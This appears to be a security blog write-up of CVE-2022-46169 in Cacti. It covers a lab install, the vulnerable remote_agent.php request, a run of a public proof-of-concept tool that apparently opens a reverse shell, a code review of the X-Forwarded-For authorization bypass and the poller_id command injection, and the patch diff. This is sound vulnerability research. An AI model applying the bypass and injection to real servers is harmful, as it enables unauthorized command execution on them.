Unauthenticated RCE in Cacti has been found and registered as CVE-2022–46169.
Version affected < 1.2.22
Cacti Unauthenticated RCE is one of the trendy CVEs last month.
Based on Greynoise (Check it here) there are three unique IPs attempted to exploit this vulnerability.
Based on Shodan's search (check it here) Cacti is running on 4,433 servers.
Cacti is an open-source, web-based network monitoring and graphing tool designed as a front-end application for the open-source, industry-standard data logging tool RRDtool. Cacti allow a user to poll services at predetermined intervals and graph the resulting data.
Setup Ubuntu (I’m using Ubuntu server 20.04)
Update the server
sudo apt update
Install Apache & PHP sudo apt install -y apache2 php-mysql libapache2-mod-php
Install PHP Extensions sudo apt install -y php-xml php-ldap php-mbstring php-gd php-gmp
Install MariaDB sudo apt install -y mariadb-server mariadb-client
Install SNMP sudo apt install -y snmp php-snmp rrdtool librrds-perl
Configure Database
sudo vim /etc/mysql/mariadb.conf.d/50-server.cnf
Add the following at the end of the file:
collation-server = utf8mb4_unicode_ci
max_heap_table_size = 128M
tmp_table_size = 64M
join_buffer_size = 64M
innodb_file_format = Barracuda
innodb_large_prefix = 1
innodb_buffer_pool_size = 512M
innodb_buffer_pool_instances = 10
innodb_flush_log_at_timeout = 3
innodb_read_io_threads = 32
innodb_write_io_threads = 16
innodb_io_capacity = 5000
innodb_io_capacity_max = 10000
sudo systemctl restart mariadb
PHP Configuration
sudo vim /etc/php/7.4/apache2/php.ini
date.timezone = US/Central
memory_limit = 512M
max_execution_time = 60
sudo vim /etc/php/7.4/cli/php.ini
date.timezone = US/Central
memory_limit = 512M
max_execution_time = 60
Create Database
sudo mysql -u root -p
create database cacti;
GRANT ALL ON cacti.* TO cacti@localhost IDENTIFIED BY 'cacti';
flush privileges;
exit
sudo mysql -u root -p mysql < /usr/share/mysql/mysql_test_data_timezone.sql
sudo mysql -u root -p
GRANT SELECT ON mysql.time_zone_name TO cacti@localhost;
flush privileges;
exit
Download Cacti
wget https://files.cacti.net/cacti/linux/cacti-1.2.22.zip
unzip cacti-1.2.22.zip
sudo mkdir /opt/cacti
sudo mv cacti-1.2.22/* /opt/cacti
Configure Database
sudo mysql -u root -p cacti < /opt/cacti/cacti.sql
sudo vim /opt/cacti/include/config.php
# make sure these values reflect your actual database/host/user/password
$database_type = "mysql";
$database_default = "cacti";
$database_hostname = "localhost";
$database_username = "cacti";
$database_password = "cacti";
$database_port = "3306";
$database_ssl = false;
Create a crontab file to schedule the polling job.
sudo vim /etc/cron.d/cacti
# Add the following scheduler entry in the crontab so that Cacti can poll every five minutes
*/5 * * * * www-data php /opt/cacti/poller.php > /dev/null 2>&1
Create a new site for the Cacti tool
sudo vim /etc/apache2/sites-available/cacti.conf
Use the following configuration
Alias /cacti /opt/cacti
<Directory /opt/cacti>
Options +FollowSymLinks
AllowOverride None
<IfVersion >= 2.3>
Require all granted
</IfVersion>
<IfVersion < 2.3>
Order Allow,Deny
Allow from all
</IfVersion>
AddType application/x-httpd-php .php
<IfModule mod_php.c>
php_flag magic_quotes_gpc Off
php_flag short_open_tag On
php_flag register_globals Off
php_flag register_argc_argv On
php_flag track_vars On
# this setting is necessary for some locales
php_value mbstring.func_overload 0
php_value include_path .
</IfModule>
DirectoryIndex index.php
</Directory>
Enable the created site
sudo a2ensite cacti
Restart Apache services.
sudo systemctl restart apache2
Create a log file for Cacti and allow the Apache user (www-data) to write data into the Cacti directory.
sudo touch /opt/cacti/log/cacti.log
sudo chown -R www-data:www-data /opt/cacti/
Visit the below URL to begin the installation of Cacti
Username: admin
Password: admin
After you log in it will ask you to change the password.
If everything is correctly configured in the past steps, it should be easy from here and just ‘next, next …etc’
in order to achieve the unauthenticated RCE you need to have real data and devices in cacti.
After we added the devices now we can proceed to test the Unauthenticated RCE.
The vulnerable endpoint is remote_agent.php
, try to browse it
we get this error back, and it’s important since we will use it later in the code review.
There are specific parameters that are passed after the endpoint:
action=polldata
host_id=3
local_data_ids[]=6
poller_id=1
Full link:
http://192.168.1.101/cacti/remote_agent.php?action=polldata&host_id=3&local_data_ids[]=6&poller_id=1
Basically, the poller_id parameter it’s the vulnerable parameter for command injection, however you can’t execute the command unless you guess the right numbers for host_id and local_data_ids parameters, and we will know why in the static analysis.
To produce this vulnerability I used this tool:
https://github.com/N1arut/CVE-2022-46169_POC
Before I start the tool, I enabled the proxy so I can intercept the traffic.
python cacti_exploit.py http://192.168.1.124/cacti/ 192.168.1.126 9001
now we can see the requests in Burpsuite
Now, we know what the request would look like.
Let’s do some code review and see where is the vulnerability and why it’s happening.
Find the remote_agent.php file which is the vulnerable endpoint file.
The first information we got from our dynamic analysis is the error message “FATAL: You are not authorized to use this service”
Search for it in the remote_agent.php file
Search for ‘remote_client_authorized()’ function
The function determines if a remote client is authorized to access a resource.
The line global $poller_db_cnn_id;
brings the variable $poller_db_cnn_id
into the function's scope.
The line $client_addr = get_client_addr();
calls a function get_client_addr
which retrieves the IP address of the remote client.
The line if ($client_addr === false) { return false; }
checks if the IP address is valid. If the IP address is not valid, the function returns false
and the remote client is not authorized.
The line if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {...}
uses the filter_var
function to validate the IP address. If the IP address is not valid, a log message is written to indicate an error and the function returns false
.
The line $client_name = gethostbyaddr($client_addr);
uses the gethostbyaddr
function to retrieve the hostname associated with the IP address.
The line if ($client_name == $client_addr) {...}
checks if the hostname was successfully resolved. If it was not, a log message is written to indicate a failure to resolve the hostname and the function continues.
The line $client_name = remote_agent_strip_domain($client_name);
calls a function remote_agent_strip_domain
on the hostname to strip the domain portion from it.
The line $pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
retrieves the list of pollers from a database using the db_fetch_assoc
function. The $poller_db_cnn_id
variable is passed as the third argument to this function to specify the database connection to use.
The line if (cacti_sizeof($pollers)) {...}
checks if the list of pollers is not empty. If it is not empty, the function continues.
The code block foreach($pollers as $poller) {...}
iterates through the list of pollers.
The line if (remote_agent_strip_domain($poller['hostname']) == $client_name) {...}
calls the remote_agent_strip_domain
function on the hostname of each poller and compares the result with the client name obtained in step 7. If they match, the remote client is authorized and the function returns true
.
The line elseif ($poller['hostname'] == $client_addr) {...}
compares the hostname of each poller with the client address obtained in step 2. If they match, the remote client is authorized and the function returns true
.
If none of the conditions in steps 11 and 12 are met, a log message is written indicating an unauthorized remote agent access attempt, and the function returns false
, indicating that the remote client is not authorized.
Here I started to study each function involved in the remote_client_authorized() function.
The most interesting part is step 11 and 12 since they indicate in order to be authorized the $client_name variable or $client_addr variable have to match $poller[‘hostname’]
Search for ‘get_client_addr’ in all files and it will be found in functions.php file.
function get_client_addr($client_addr = false)
: Defines a function named get_client_addr
that takes an optional argument $client_addr
, which is set to false
by default.
$http_addr_headers = array( ... )
: Declares an array $http_addr_headers
that lists the names of headers that may contain the client's IP address.
$client_addr = false;
: Sets the initial value of $client_addr
to false
.
foreach ($http_addr_headers as $header)
: Iterates over the headers in the $http_addr_headers
array.
if (!empty($_SERVER[$header]))
: Checks if the current header has a non-empty value in the $_SERVER
array.
$header_ips = explode(',', $_SERVER[$header]);
: If the header has a non-empty value, it splits the value into an array of IP addresses using explode
, with the separator being a comma.
foreach ($header_ips as $header_ip)
: Iterates over the resulting array of IP addresses.
if (!empty($header_ip))
: Checks if the current IP address is not empty.
if (!filter_var($header_ip, FILTER_VALIDATE_IP))
: If the IP address is not empty, it checks if it is a valid IP address using filter_var
with the FILTER_VALIDATE_IP
filter.
cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
: If the IP address is not valid, it logs an error message to a log file using the cacti_log
function.
$client_addr = $header_ip;
: If the IP address is valid, it sets $client_addr
to that IP address.
cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
: Logs a debug message to a log file using the cacti_log
function, indicating that the IP address was found and is being used.
break 2;
: Exits both the inner and outer loops.
return $client_addr;
: Returns the value of $client_addr
.
Since we understand the get_client_addr function, we know that the function takes the IP from the headers in the array $http_addr_headers.
We can control some headers such as X-Forwarded-For header therefore even if our IP address is not one of the allowed addresses we can add the IP address of the target server or 127.0.0.1 localhost IP address, and this will bypass the authorization.
Since the injection takes place in the “poller_id” parameter, we can locate it in the “remote_agent.php” endpoint and comprehend how its value is being passed.
There is poll_for_data() function and inside it, we can see:
but we need to understand how the poller_id is being passed and how the poll_for_data() function is being triggered, so I started to search for the “action” parameter.
This code uses a switch
statement to handle a request based on the value of the "action" parameter. The "action" parameter is obtained using get_request_var
function.
There is 'polldata
case in the switch statement. If the value of the "action" parameter is equal to 'polldata'
, the code inside the case statement will be executed.
The code sets the maximum execution time for the script using the ini_set
function and the value of read_config_option('script_timeout')
. This ensures that the script doesn't run indefinitely.
The debug
function is called with the argument 'Start: Poling Data for Realtime'
to indicate the start of polling data. Then, the poll_for_data
function is called. After that, the debug
function is called again with the argument 'End: Poling Data for Realtime'
to indicate the end of the polling process.
Finally, the break
statement ends the switch
statement.
The issue here is that the “polldata” value and if this value is not properly filtered or validated.
With that being said, we understand how the poll_for_data function is triggered.
proc_open() executes a command, much like exec() does, but with the added ability to direct input and output streams through pipes.
Given that we have control over the $poller_id variable, an attacker can inject malicious code and there are no proper validation or security checks in place.
Also we mentioned earlier in the Dynamic Analysis that we can’t execute the command unless you guess the right numbers for host_id and local_data_ids parameters.
POLLER_ACTION_SCRIPT_PHP is to execute some action, such as gathering data from a network device or updating a database which are related to poller actions.
I was unable to locate the code that specifically explains the need for the parameters to be correct, but after examining the code and multiple files, it appears that POLLER_ACTION_SCRIPT_PHP serves as an alias for defining the action of poller_item. Therefore, it is necessary to set all the parameters correctly, which can easily be brute forced.
First, download the latest version of cacti from here:
https://www.cacti.net/info/downloads
With this online tool, I can compare two texts and see what’s different.
https://www.diffchecker.com/text-compare/
You can check the diffing between cacti 1.2.22 version and cacti 1.2.23 version from here:
https://www.diffchecker.com/DR7kCix4/
There are four differences here:
1- The error message has been removed.
2- get_nfilter_request_var function changed to get_filter_request_var function, both functions are custom functions existed in html_utility.php file.
3- Same as in the second change
4- cacti_escapeshellarg function suppose to operate in a very similar way to escapeshellarg()
escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input.
function cacti_escapeshellarg($string, $quote = true) {
global $config;
if ($string == '') {
return $string;
}
/* we must use an apostrophe to escape community names under Unix in case the user uses
characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when
you do this, but are perfectly happy with a quotation mark. */
if ($config['cacti_server_os'] == 'unix') {
$string = escapeshellarg($string);
if ($quote) {
return $string;
} else {
# remove first and last char
return substr($string, 1, (strlen($string)-2));
}
} else {
/* escapeshellarg takes care of different quotation for both linux and windows,
* but unfortunately, it blanks out percent signs
* we want to keep them, e.g. for GPRINT format strings
* so we need to create our own escapeshellarg
* on windows, command injection requires to close any open quotation first
* so we have to escape any quotation here */
if (substr_count($string, CACTI_ESCAPE_CHARACTER)) {
$string = str_replace(CACTI_ESCAPE_CHARACTER, "\\" . CACTI_ESCAPE_CHARACTER, $string);
}
/* ... before we add our own quotation */
if ($quote) {
return CACTI_ESCAPE_CHARACTER . $string . CACTI_ESCAPE_CHARACTER;
} else {
return $string;
}
}
}
The companies can use the last version of cacti 1.2.23.
This is a very interesting vulnerability since two vulnerabilities are chained together to achieve Pre-auth command injection or Pre-auth RCE.
I think a lot of research can be conducted on this software and since it’s open source, and it also interacts with the network and multiple devices this makes it even more interesting.
#CVE-2022-46169 #cacti #RCE
in this blog we are going in detail through the Unauthenticated (pre-auth) RCE that founded in Cacti CVE-2022-46169.
Microsoft Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability (CVE-2022-44666) (0day)
j00sean (https://twitter.com/j00sean) July 11, 2023CVE-2021-38294: Apache Storm Nimbus Command Injection
Zeyad Abdelazim June 20, 2023CVE-2023-21931 & CVE-2023-21839 RCE via post-deserialization
Mohammad Hussam Alzeyyat June 19, 2023Have you missed them? The new reports feature is here!
Noa Machter May 14, 2023CVE-2021-45456 Apache Kylin RCE Exploit
Mohammad Hussam Alzeyyat April 30, 2023